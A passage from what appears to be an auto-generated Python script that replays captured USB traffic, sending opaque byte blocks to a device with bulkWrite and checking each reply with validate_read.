b\"\\x56\\xF9\\x8B\\xB2\\x01\\xD4\\xBD\\x88\\xE2\\x53\\xEE\\x0E\\x3C\\xE6\\xB6\\x07\"\n b\"\\x6D\\x80\\xA0\\x1E\\x13\\x27\\x29\\x3D\\xB7\\x81\\x6B\\x66\\xDF\\x44\\x82\\xAE\"\n b\"\\x7A\\x7E\\x5C\\x64\\x20\\xE8\\x1B\\x8D\\x5C\\x99\\xED\\xB3\")\n # Generated from packet 3739/3740\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3739/3740\")\n # Generated from packet 3741/3742\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0C\\x03\\x3D\\x0B\\xA9\\x4B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x7B\\x20\\x6A\\x53\\x48\\x85\\x82\"\n b\"\\x9B\\xED\\xBF\\x5C\\x51\\xB7\\x29\\x1B\\xB8\\xCB\\x58\\xED\\x86\\x06\\x17\\x7C\"\n b\"\\xDE\\x9A\\x04\\x0D\\x66\\xB6\\x0E\\x34\\xB1\\xF1\\x7C\\x4C\\x4D\\x7A\\x42\\x6D\"\n b\"\\xF1\\x94\\xC8\\xEF\\x07\\x1B\\xA1\\x5A\\xC7\\xF5\\x8D\\x2B\\x8B\\x31\\x3E\\x33\"\n b\"\\xB6\\x65\\x2A\\xBB\\x17\\x8F\\x59\\xEB\\x23\\xBE\\xF3\\x12\\x50\\x90\\x0E\\xEB\"\n b\"\\x7A\\xAA\\x19\\x64\\x45\\xBA\\x56\\x93\\x6A\\xB5\\xEB\\x88\\xB2\\x03\\x38\\xE6\"\n b\"\\x4D\\x4A\\x71\\x62\\x5A\\xC5\\x70\\x58\\x1D\\x63\\x70\\xCE\\xC0\\x9B\\x94\\x3A\"\n b\"\\xFD\\x44\\x3E\\xFF\\x29\\x4D\\x86\\xE6\\x74\\x17\\x55\\x70\\xDB\\x52\\xA8\\xCB\"\n b\"\\x08\\x41\\x3F\\xDF\\xB2\\x4B\\x03\\x89\\xEC\\xF3\\x63\\xBC\\xCF\\x6A\\x29\\x7C\"\n b\"\\x21\\xF0\\xAD\\xB0\\x4C\\xE5\\x3A\\x9C\\xBA\\xCD\\x13\\xB4\\x48\\xEE\\x3B\\x1E\"\n b\"\\xB9\\x1B\\x61\\xB9\\x6A\\x09\\xA8\\xB7\\x64\\x35\\xA6\\xFD\\x99\\xDE\\xA7\\xBE\"\n b\"\\x8E\\xC6\\x25\\xCC\\x00\\x77\\xA0\\x64\\x9D\\xD3\\x17\\xAF\\x96\\xDD\\x83\\xA1\"\n b\"\\x3C\\x89\\x6D\\x5E\\x66\\xC1\\xE0\\x03\\xA8\\xC3\\xDB\\x7C\\xDE\\xAC\\xB3\\x15\"\n b\"\\x27\\xB7\\x4A\\x52\\x31\\x98\\xD1\\xD6\\x06\\xFA\\x9A\\x63\\x6F\\xE6\\x5D\\xE2\"\n b\"\\x68\\x93\\x01\\xA3\\x3D\\x8A\\x93\\x93\\xC1\\xE1\\x6C\\x8A\\x74\\x03\\xD8\\xDB\"\n b\"\\x27\\x57\\xAA\\x67\\x97\\x20\\x0D\\xD3\\xC8\\x23\\x9F\\x1A\\x37\\xE4\\x0C\\xD5\"\n b\"\\x29\\x26\\xC1\\x08\\x7F\\x2A\\x30\\x99\\x03\\x68\\x0A\\x22\")\n # Generated from packet 3743/3744\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3743/3744\")\n # Generated from packet 3745/3746\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC2\\x53\\x33\\x1F\\x26\\x0F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFA\\x30\\xC5\\x3E\\x3B\\xF8\\x87\\x14\"\n b\"\\x70\\x95\\xF3\\x3B\\xF8\\x89\\x2A\\xFC\\xA9\\xAE\\x7D\\xB2\\xD4\\x1C\\xFE\\xE2\"\n b\"\\x28\\x48\\xAD\\xE3\\xE3\\xC6\\x82\\x28\\x8B\\x0D\\xE5\\x04\\xB3\\x0E\\x0B\\xDE\"\n b\"\\x4C\\x51\\x62\\x9E\\x50\\x51\\x30\\x8B\\x3E\\x8E\\x8D\\x77\\x98\\x3E\\x0E\\xD1\"\n b\"\\x8D\\x3E\\xC2\\xE5\\x7A\\x32\\x90\\x78\\x41\\x59\\x46\\x58\\xF9\\xF9\\x61\\x26\"\n b\"\\xC2\\xAB\\x15\\xCE\\xD8\\xDE\\x77\\x51\\xD0\\x17\\x49\\x5E\\xFF\\x07\\x69\\x56\"\n b\"\\x15\\xDC\\xA3\\x82\\x31\\x97\\x7A\\x99\\xF0\\x46\\xC8\\x74\\x9A\\xEC\\xD6\\xD4\"\n b\"\\x50\\xFE\\x02\\x78\\x47\\x22\\xEF\\x0D\\x07\\x76\\xCA\\xF7\\x15\\x27\\x55\\xD2\"\n b\"\\x61\\x96\\x3E\\x76\\xEA\\x4F\\x60\\x5A\\x92\\x7A\\xD7\\x19\\x2B\\x73\\x7F\\x5D\"\n b\"\\xC7\\x95\\x87\\x30\\x40\\x34\\x12\\x25\\xB9\\x0B\\xF3\\xFC\\x89\\xFA\\x9D\\x52\"\n b\"\\x0F\\xAD\\x68\\x06\\xB4\\xA5\\x8A\\x51\\x2A\\x3C\\x45\\xEE\\xEB\\xD5\\x57\\x7A\"\n b\"\\x6C\\xD9\\x8B\\xB2\\x3B\\xF4\\xBD\\x88\\xD8\\x73\\xEE\\x0E\\x06\\xC6\\xB6\\x07\"\n b\"\\x57\\xA0\\xA0\\x1E\\x29\\x07\\x29\\x3D\\x8D\\xA1\\x6B\\x66\\xE5\\x64\\x82\\xAE\"\n b\"\\x40\\x5E\\x5C\\x64\\x1A\\xC8\\x1B\\x8D\\x66\\xB9\\xED\\xB3\\xAB\\xF6\\x7C\\xEB\"\n b\"\\x37\\xE5\\x0D\\x53\\x1B\\xEF\\x34\\x84\\x5C\\x9D\\x4C\\x78\\xD7\\xA3\\x6D\\xC4\"\n b\"\\x39\\x29\\xEF\\x32\\xB6\\x40\\x5A\\xF2\\x58\\x6C\\x2B\\xBE\\x9C\\xDF\\x33\\x83\"\n b\"\\xC8\\xCB\\xBB\\x22\\x22\\xB8\\xEB\\x16\\x13\\x12\\x12\\x65\")\n # Generated from packet 3747/3748\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3747/3748\")\n # Generated from packet 3749/3750\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA8\\xE1\\x18\\x73\\x23\\x4F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB7\\xE2\\x18\\x84\\xDC\\xAF\\x58\\x3D\"\n b\"\\x7C\\x88\\x26\\x06\\x2E\\xFC\\xCE\\x1C\\x5B\\x9E\\x51\\x14\\x92\\xA0\\x5E\\x3B\"\n b\"\\x82\\x80\\x56\\xD1\\x59\\x4A\\x82\\xF5\\x12\\x93\\x99\\x34\\xC3\\x21\\x74\\x5E\"\n b\"\\x69\\x3F\\xD4\\x94\\x7B\\xEB\\x78\\x83\\xA7\\x06\\x0D\\xC3\\xF3\\x23\\xF7\\xD1\"\n b\"\\xA2\\xBC\\xD2\\xA5\\x13\\xD7\\x76\\x2E\\xCA\\x89\\x5A\\x56\\xFF\\x3E\\x19\\xEF\"\n b\"\\xF6\\x96\\x5D\\x03\\x10\\x6E\\x30\\x84\\xB1\\xFB\\x25\\x7D\\x8E\\x1A\\xFC\\x4D\"\n b\"\\x7F\\x74\\x52\\xCB\\x28\\x81\\x06\\x70\\x20\\x63\\x51\\xEE\\xB9\\xAC\\xEE\\x2F\"\n b\"\\x50\\xBE\\x7A\\xA8\\x5C\\x62\\xB2\\xFF\\x71\\x54\\x88\\x1C\\xF6\\x07\\x0E\\xC2\"\n b\"\\x43\\x5F\\x07\\x93\\x25\\x49\\x1E\\xED\\x82\\xC0\\x3D\\x49\\x24\\x82\\x66\\x21\"\n b\"\\xE1\\x6B\\xAE\\x84\\xDB\\xB5\\x64\\xDE\\x4D\\xF2\\x8D\\xA2\\x3C\\x04\\xB3\\x6F\"\n b\"\\x73\\x95\\xEB\\xF3\\x60\\xE4\\x53\\xDF\\x6A\\xDD\\x84\\x98\\x18\\xA5\\x78\\x13\"\n b\"\\x26\\x84\\xC4\\xFD\\xAC\\x06\\x32\\x72\\xC5\\xB3\\xF2\\x9C\\xE9\\xC2\\xBE\\x58\"\n b\"\\x5A\\xDA\\x83\\x0C\\x4E\\x52\\x22\\xE6\\x3D\\x02\\x16\\xD7\\x97\\xFB\\x65\\xF9\"\n b\"\\x6A\\x02\\x4F\\xC3\\x7D\\x8D\\x70\\xD3\\x32\\x7A\\x5F\\xDC\\x8F\\x61\\x87\\x6A\"\n b\"\\x5C\\x0F\\x78\\x23\\x15\\x8B\\x6F\\xAC\\x14\\xB1\\x28\\x0A\\x14\\x27\\xF5\\xF2\"\n b\"\\xF0\\xD3\\xC8\\x2D\\x5A\\x16\\x1C\\x24\\xE2\\x0F\\x41\\x7E\\x31\\x99\\xEE\\x3B\"\n b\"\\xCC\\x22\\x3D\\x28\\x5B\\x36\\x87\\x22\\x67\\x60\\xD9\\x9A\")\n # Generated from packet 3751/3752\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3751/3752\")\n # Generated from packet 3753/3754\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x66\\xB1\\x16\\x67\\x40\\x4A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEE\\x9B\\x36\\xD0\\x35\\xEA\\x82\\xF5\"\n b\"\\x7E\\x33\\x99\\x34\\xAF\\x81\\x74\\x5E\\x05\\x9F\\xD4\\x94\\x17\\x4B\\x78\\x83\"\n b\"\\xCB\\xA6\\x0D\\xC3\\x9F\\x83\\xF7\\xD1\\xCE\\x1C\\xD2\\xA5\\x7F\\x77\\x76\\x2E\"\n b\"\\xA6\\x29\\x5A\\x56\\x93\\x9E\\x19\\xEF\\x9A\\x36\\x5D\\x03\\x7C\\xCE\\x30\\x84\"\n b\"\\xDD\\x5B\\x25\\x7D\\xE2\\xBA\\xFC\\x4D\\x13\\xD4\\x52\\xCB\\x44\\x21\\x06\\x70\"\n b\"\\x4C\\xC3\\x51\\xEE\\xD5\\x0C\\xEE\\x2F\\x3C\\x1E\\x7A\\xA8\\x30\\xC2\\xB2\\xFF\"\n b\"\\x1D\\xF4\\x88\\x1C\\x9A\\xA7\\x0E\\xC2\\x2F\\xFF\\x07\\x93\\x49\\xE9\\x1E\\xED\"\n b\"\\xEE\\x60\\x3D\\x49\\x48\\x22\\x66\\x21\\x8D\\xCB\\xAE\\x84\\xB7\\x15\\x64\\xDE\"\n b\"\\x21\\x52\\x8D\\xA2\\x50\\xA4\\xB3\\x6F\\x1F\\x35\\xEB\\xF3\\x0C\\x44\\x53\\xDF\"\n b\"\\x06\\x7D\\x84\\x98\\x74\\x05\\x78\\x13\\x4A\\x24\\xC4\\xFD\\xC0\\xA6\\x32\\x72\"\n b\"\\xA9\\x13\\xF2\\x9C\\x85\\x62\\xBE\\x58\\x36\\x7A\\x83\\x0C\\x22\\xF2\\x22\\xE6\"\n b\"\\x51\\xA2\\x16\\xD7\\xFB\\x5B\\x65\\xF9\\x06\\xA2\\x4F\\xC3\\x11\\x2D\\x70\\xD3\"\n b\"\\x5E\\xDA\\x5F\\xDC\\xE3\\xC1\\x87\\x6A\\x30\\xAF\\x78\\x23\\x79\\x2B\\x6F\\xAC\"\n b\"\\x78\\x11\\x28\\x0A\\x78\\x87\\xF5\\xF2\\x9C\\x73\\xC8\\x2D\\x36\\xB6\\x1C\\x24\"\n b\"\\x8E\\xAF\\x41\\x7E\\x5D\\x39\\xEE\\x3B\\xA0\\x82\\x3D\\x28\\x37\\x96\\x87\\x22\"\n b\"\\x0B\\xC0\\xD9\\x9A\\x6B\\xF5\\xFA\\x03\\x21\\x35\\x14\\x99\\xA5\\xF9\\x79\\x8C\"\n b\"\\x32\\xD5\\x8F\\xA4\\x1B\\xFD\\x7D\\x87\\x33\\x57\\x8C\\x72\")\n # Generated from packet 3755/3756\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3755/3756\")\n # Generated from packet 3757/3758\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x34\\x40\\x04\\x5B\\x5B\\x58\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0B\\x8A\\x36\\x9A\\xBC\\x12\\xEF\\x92\"\n b\"\\x14\\x56\\x03\\x74\\xEC\\x3B\\x84\\xD5\\x79\\x2E\\x7D\\xEA\\x98\\xF7\\x4D\\x1B\"\n b\"\\xF6\\x59\\xCB\\x4C\\x03\\x0D\\x70\\x44\\xE1\\x5A\\xEE\\xDD\\x2E\\xE5\\x2F\\x34\"\n b\"\\x3C\\x71\\xA8\\x38\\xE0\\xB9\\xFF\\x15\\xD6\\x83\\x1C\\x92\\x85\\x05\\xC2\\x27\"\n b\"\\xDD\\x0C\\x93\\x41\\xCB\\x15\\xED\\xE6\\x42\\x36\\x49\\x40\\x00\\x6D\\x21\\x85\"\n b\"\\xE9\\xA5\\x84\\xBF\\x37\\x6F\\xDE\\x29\\x70\\x86\\xA2\\x58\\x86\\xB8\\x6F\\x17\"\n b\"\\x17\\xE0\\xF3\\x04\\x66\\x58\\xDF\\x0E\\x5F\\x8F\\x98\\x7C\\x27\\x73\\x13\\x42\"\n b\"\\x06\\xCF\\xFD\\xC8\\x84\\x39\\x72\\xA1\\x31\\xF9\\x9C\\x8D\\x40\\xB5\\x58\\x3E\"\n b\"\\x58\\x88\\x0C\\x2A\\xD0\\x29\\xE6\\x59\\x80\\x1D\\xD7\\xF3\\x79\\x6E\\xF9\\x0E\"\n b\"\\x80\\x44\\xC3\\x19\\x0F\\x7B\\xD3\\x56\\xF8\\x54\\xDC\\xEB\\xE3\\x8C\\x6A\\x38\"\n b\"\\x8D\\x73\\x23\\x71\\x09\\x64\\xAC\\x70\\x33\\x23\\x0A\\x70\\xA5\\xFE\\xF2\\x94\"\n b\"\\x51\\xC3\\x2D\\x3E\\x94\\x17\\x24\\x86\\x8D\\x4A\\x7E\\x55\\x1B\\xE5\\x3B\\xA8\"\n b\"\\xA0\\x36\\x28\\x3F\\xB4\\x8C\\x22\\x03\\xE2\\xD2\\x9A\\x63\\xD7\\xF1\\x03\\x29\"\n b\"\\x17\\x1F\\x99\\xAD\\xDB\\x72\\x8C\\x3A\\xF7\\x84\\xA4\\x13\\xDF\\x76\\x87\\x3B\"\n b\"\\x75\\x87\\x72\\x61\\xD2\\x54\\x60\\xA8\\xDC\\x5A\\x5C\\xA6\\x96\\xA7\\xB7\\xA7\"\n b\"\\xD5\\xB0\\xAF\\x25\\xA7\\x3E\\x1E\\xA0\\x0F\\xA3\\xBA\\x17\\xC4\\xA8\\xB4\\x83\"\n b\"\\xCA\\x02\\xE0\\x6D\\x35\\x58\\xA8\\xE0\\x68\\x96\\xAA\\xDB\")\n # Generated from packet 3759/3760\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3759/3760\")\n # Generated from packet 3761/3762\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFA\\x10\\x0A\\x4F\\xA3\\x5D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x24\\x4C\\x34\\x48\\x86\\x7B\\x27\\xFE\"\n b\"\\x41\\x69\\xC2\\x1D\\x37\\xAF\\xE4\\x75\\x51\\xB0\\xD9\\x22\\x3C\\x8C\\x60\\x8B\"\n b\"\\xAC\\x3A\\xDF\\xD2\\xF7\\x20\\xDF\\x7B\\x8B\\x02\\xDE\\x3D\\x9A\\xC3\\x2D\\x86\"\n b\"\\xF3\\x92\\x75\\xFF\\x9A\\x2E\\x4D\\xDD\\xB3\\xFD\\x19\\x98\\x16\\x95\\xAA\\xA5\"\n b\"\\x4B\\x54\\x19\\x87\\x60\\x1F\\x74\\xF3\\x4F\\x97\\x68\\x2A\\x88\\xC6\\x4F\\x7D\"\n b\"\\xC6\\xBB\\xFD\\xFE\\x96\\x47\\xA9\\xAD\\x97\\x8C\\x27\\x82\\x5C\\xE4\\xEC\\xE5\"\n b\"\\x70\\xDC\\xEF\\x0B\\xAA\\x23\\xB0\\x62\\xEA\\x3F\\xB0\\x30\\xFF\\x51\\x6F\\x8D\"\n b\"\\x03\\xF7\\xDF\\x0E\\xA5\\xE2\\xDF\\xC2\\x91\\x15\\xD3\\x90\\x0C\\x2E\\xB8\\x46\"\n b\"\\x2C\\x96\\x18\\x61\\x52\\xAD\\x4A\\x15\\xBA\\xB7\\x3F\\x77\\x25\\xBF\\xF6\\x49\"\n b\"\\x2A\\x90\\xE6\\x69\\x22\\x7A\\x3D\\xA3\\xF6\\x5E\\x76\\x7A\\xED\\x9F\\xA7\\xC8\"\n b\"\\x00\\xF5\\x0D\\xD6\\xA0\\x3F\\x1F\\x02\\x0C\\x28\\xC3\\xEF\\x79\\x68\\x97\\xCA\"\n b\"\\x83\\x7A\\xC6\\x55\\xA6\\x0E\\x77\\x3E\\x02\\x85\\xAE\\x60\\x2E\\xFD\\x9B\\xD7\"\n b\"\\x6D\\x44\\x92\\x7F\\x29\\xA8\\x74\\x87\\x44\\x2F\\xD5\\x12\\x51\\xD6\\xEA\\xF3\"\n b\"\\x88\\xE6\\x1B\\x9D\\x26\\x60\\x4C\\x68\\x72\\xDB\\x44\\x8A\\x25\\x45\\xDD\\x45\"\n b\"\\x9A\\x84\\x34\\x57\\x0E\\x03\\x38\\x8B\\xC6\\x54\\x15\\xBD\\xFC\\xB7\\x92\\xEE\"\n b\"\\x7A\\x69\\x27\\xB6\\x73\\x38\\x41\\xA0\\x6A\\x46\\xE6\\x29\\x49\\xE2\\x40\\x6B\"\n b\"\\x12\\x8A\\x85\\x82\\xDA\\x2F\\xBF\\x5C\\x10\\x75\\x29\\x1B\")\n # Generated from packet 3763/3764\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3763/3764\")\n # Generated from packet 3765/3766\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCB\\x37\\xC2\\x8F\\x33\\x75\\x00\\x00\"\n b\"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x91\\x63\\xA6\\x54\\x9F\\x25\\x05\\xFE\"\n b\"\\xB0\\xC0\\xFA\\xFA\\x79\\x68\\x7D\\x7D\\x7F\\x40\\x46\\x25\\xE1\\xF4\\xA1\\x17\"\n b\"\\x86\\xF0\\x8C\\x08\\x9A\\x0A\\xB0\\x6A\\xC1\\xFA\\xC0\\x45\\x68\\xFD\\x90\\x30\"\n b\"\\x36\\x8F\\xC1\\x8B\\x17\\xA8\\x1B\\x54\\xEA\\x40\\x9C\\xEF\\x29\\x0F\\x5A\\x49\"\n b\"\\x30\\x51\\x63\\x5D\\x37\\xB2\\x01\\x86\\x08\\x18\\xE7\\xB6\\x24\\xEF\\x21\\x64\"\n b\"\\xB8\\xB8\\x90\\xD1\\xB7\\xE7\\xE0\\x8B\\x36\\x7E\\x16\\xBA\\xFA\\xEA\\x8D\\xFC\"\n b\"\\x7E\\x93\\xCB\\xA4\\x1D\\xF2\\x38\\xED\\xA7\\x31\\xF7\\x64\\x9E\\x35\\xE2\\x38\"\n b\"\\x35\\x75\\x42\\x9C\\x86\\x73\\x41\\xDB\\x84\\xD5\\x20\\x8D\\x8B\\xE4\\xE8\\x27\"\n b\"\\xDE\\xA4\\x3B\\xB2\\x25\\x9E\\xC5\\xF3\\x52\\x0E\\xAC\\xDB\\x87\\x83\\x03\\x0C\"\n b\"\\xC6\\xB0\\xCA\\x82\\xF3\\x00\\xA3\\x80\\x43\\xDC\\x5C\\x60\\x6C\\xBD\\x18\\x7C\"\n b\"\\xCA\\xCD\\x1A\\x23\\x69\\xE0\\xBF\\xA3\\xA7\\x8F\\x7D\\x36\\x17\\x95\\x2B\\xD2\"\n b\"\\xC0\\xB2\\x20\\xCA\\x06\\xCF\\x2A\\xA5\\xD6\\x8C\\x95\\xA2\\x75\\x33\\x75\\x4F\"\n b\"\\x2A\\x18\\xC3\\x36\\x2E\\x48\\x0B\\xDA\\xC4\\x3F\\xF8\\x59\\x5A\\x9F\\x1F\\x17\"\n b\"\\xDB\\x24\\x47\\x39\\xEF\\xA6\\x6A\\xA5\\xBC\\x65\\x73\\xCC\\xBB\\x87\\xFD\\x22\"\n b\"\\x16\\xBB\\x1A\\x54\\x35\\xBA\\x5F\\x04\\x4B\\xBB\\x7D\\x17\\xEB\\x45\\x5D\\x51\"\n b\"\\x7D\\x3E\\xF2\\x67\\xFE\\x22\\x7D\\x4D\\x81\\xA9\\xF7\\xED\\xE1\\xE9\\x7F\\x1C\"\n b\"\\x88\\x00\\xC2\\x65\\x4E\\x94\\x37\\x47\\x0C\\xCA\\xC8\\x11\")\n # Generated from packet 3767/3768\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3767/3768\")\n # Generated from packet 3769/3770\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0E\\x7C\\xC8\\xC3\\xB9\\x55\\x00\\x00\"\n b\"\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD3\\xE3\\x45\\x1A\\xBE\\xDB\\x3A\\xE7\"\n b\"\\xC7\\xA1\\xE8\\x79\\x5A\\xD0\\xE1\\x79\\x0C\\xD1\\xB6\\x5B\\xF8\\xDF\\xEC\\x00\"\n b\"\\xAA\\xCC\\xB5\\xF9\\x67\\x84\\xEC\\xFD\\x06\\x85\\x31\\x89\\xD8\\x86\\x62\\x3A\"\n b\"\\xBD\\xE7\\xD9\\x83\\x4E\\x2C\\x66\\x04\\xEB\\x60\\x17\\x35\\x3D\\x20\\xFC\\x69\"\n b\"\\x0A\\x15\\x56\\x10\\xBC\\xB4\\x98\\xEC\\xEE\\xF3\\x03\\x2F\\xC5\\xFA\\x5A\\x40\"\n b\"\\x25\\x2F\\x97\\x2F\\xAA\\x4B\\x32\\x80\\x5F\\x3A\\xAB\\x74\\xF1\\x66\\x6B\\x9A\"\n b\"\\x4A\\x6F\\xD7\\xBC\\xB9\\x44\\x85\\xBB\\x7B\\x00\\xD3\\x4F\\x77\\x62\\x04\\xA6\"\n b\"\\x7B\\x73\\x8E\\x37\\xEB\\x41\\xF4\\x8C\\xBD\\x94\\x10\\x35\\xC4\\x94\\x8B\\x5D\"\n b\"\\x09\\x8A\\x88\\x52\\x15\\x4A\\x84\\x58\\xA6\\x25\\xD2\\xE5\\x41\\xD0\\x99\\x34\"\n b\"\\x90\\x62\\x74\\x5E\\x3A\\x7C\\xD4\\x94\\x28\\xA8\\x78\\x83\\xF4\\x45\\x0D\\xC3\"\n b\"\\xA0\\x60\\xF7\\xD1\\xF1\\xFF\\xD2\\xA5\\x40\\x94\\x76\\x2E\\x99\\xCA\\x5A\\x56\"\n b\"\\xAC\\x7D\\x19\\xEF\\xA5\\xD5\\x5D\\x03\\x43\\x2D\\x30\\x84\\xE2\\xB8\\x25\\x7D\"\n b\"\\xDD\\x59\\xFC\\x4D\\x2C\\x37\\x52\\xCB\\x7B\\xC2\\x06\\x70\\x73\\x20\\x51\\xEE\"\n b\"\\xEA\\xEF\\xEE\\x2F\\x03\\xFD\\x7A\\xA8\\x0F\\x21\\xB2\\xFF\\x22\\x17\\x88\\x1C\"\n b\"\\xA5\\x44\\x0E\\xC2\\x10\\x1C\\x07\\x93\\x76\\x0A\\x1E\\xED\\xD1\\x83\\x3D\\x49\"\n b\"\\x77\\xC1\\x66\\x21\\xB2\\x28\\xAE\\x84\\x88\\xF6\\x64\\xDE\\x1E\\xB1\\x8D\\xA2\"\n b\"\\x6F\\x47\\xB3\\x6F\\x20\\xD6\\xEB\\xF3\\x33\\xA7\\x53\\xDF\")\n # Generated from packet 3771/3772\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3771/3772\")\n # Generated from packet 3773/3774\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x85\\x07\\x32\\xFE\\x35\\x26\\x00\\x00\"\n b\"\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAD\\x46\\xE8\\xB1\\x67\\x74\\x40\\xE9\"\n b\"\\xCC\\xD7\\xAF\\xFF\\xCD\\xEC\\xA3\\x3C\\x4E\\xBD\\x49\\xDE\\x30\\xB8\\xE7\\xCA\"\n b\"\\xEF\\x64\\x5F\\xE0\\xB6\\xAD\\x7C\\x09\\xF5\\x0A\\x64\\x8A\\xF2\\xC5\\xD9\\xAF\"\n b\"\\x07\\xC4\\x66\\x56\\xEF\\x1A\\x03\\x2E\\x88\\xA3\\xB3\\x9D\\xA5\\x48\\xD5\\x9E\"\n b\"\\x0C\\x84\\x64\\x94\\x88\\x10\\x5E\\x09\\x12\\x11\\xB4\\x5F\\x96\\x54\\xA3\\x2B\"\n b\"\\x2B\\x09\\x82\\x58\\x54\\xFB\\xE5\\x6E\\x91\\xB6\\x05\\x67\\xC8\\x81\\x6F\\x5E\"\n b\"\\xF6\\x76\\xB0\\x90\\x71\\xDC\\xCB\\x5A\\xB9\\x31\\xE3\\x34\\x51\\x3C\\x64\\xD5\"\n b\"\\xC2\\x41\\xE3\\xEA\\xF5\\xD8\\x78\\xCA\\x5D\\x36\\xD4\\x4C\\xAE\\x6A\\xC8\\x9B\"\n b\"\\x9C\\x75\\xDB\\x0C\\x87\\x3A\\x95\\x34\\x8D\\xAC\\x50\\xE7\\xCB\\x8C\\xBF\\x15\"\n b\"\\x79\\xAC\\xEC\\xA0\\x3A\\x0A\\xC2\\x67\\x60\\x6B\\x73\\x41\\x60\\x1A\\x73\\xE6\"\n b\"\\x3F\\x19\\x2D\\x40\\x1B\\xA2\\x81\\x65\\x58\\x79\\x7E\\x60\\xDB\\x68\\x0A\\x99\"\n b\"\\xF9\\xF9\\xF2\\x0B\\x0E\\xE7\\x89\\xA9\\x25\\xCC\\xC1\\xEC\\x8B\\x7F\\xFF\\xC6\"\n b\"\\xAA\\xE8\\xFA\\x7D\\xCA\\xFC\\x2B\\x8A\\xA9\\xA0\\x5D\\x07\\x19\\xC5\\x94\\x4B\"\n b\"\\xFC\\x37\\x7A\\x3B\\x72\\x84\\x8C\\x8E\\xE7\\xA7\\xE4\\x9A\\x7F\\x46\\x4A\\x36\"\n b\"\\x2F\\x12\\x3F\\x03\\xC2\\x71\\x0D\\x0E\\x5E\\x8B\\x7C\\x48\\xA2\\xAD\\x33\\x56\"\n b\"\\x62\\x49\\xBC\\x13\\x8E\\x43\\x1A\\xE0\\x80\\x63\\x93\\x91\\xA2\\x43\\x4C\\x50\"\n b\"\\x58\\x1D\\x6E\\x60\\xD4\\x31\\x42\\x34\\xE0\\xDF\\xD5\\xA1\")\n # Generated from packet 3775/3776\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3775/3776\")\n # Generated from packet 3777/3778\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF7\\x30\\xA7\\x0B\\x88\\x67\\x00\\x00\"\n b\"\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB1\\x8E\\x8D\\xE7\\x08\\x39\\x6C\\xDC\"\n b\"\\x9C\\x6A\\x21\\x81\\xF1\\xA2\\x64\\xBF\\x3F\\x48\\xDE\\x69\\x6C\\xB1\\x5E\\x58\"\n b\"\\x8A\\xEF\\xF1\\x17\\x0D\\xCF\\x33\\x04\\x6C\\x07\\x7F\\x0E\\x49\\xF8\\x20\\x7C\"\n b\"\\x3F\\x14\\x13\\x83\\xCC\\xC8\\x81\\xBA\\x04\\x01\\x53\\x3D\\xFE\\xB6\\x58\\x3D\"\n b\"\\x7A\\x61\\x1D\\xAE\\x66\\xDF\\xD2\\x22\\x66\\x46\\x3C\\xD1\\x32\\xD3\\x01\\xDA\"\n b\"\\xC7\\xC0\\x2B\\x47\\x5E\\x8F\\x93\\x09\\x17\\x7C\\xD3\\x16\\xF4\\x63\\x42\\xEB\"\n b\"\\xFD\\x7B\\xAA\\x38\\x47\\x74\\x5F\\x02\\x8F\\x5C\\x91\\x87\\x49\\xC4\\x0A\\x70\"\n b\"\\xDF\\x19\\xF2\\x94\\x2B\\x24\\x2D\\x3E\\xEE\\xF0\\x24\\x86\\xF7\\xAD\\x7E\\x55\"\n 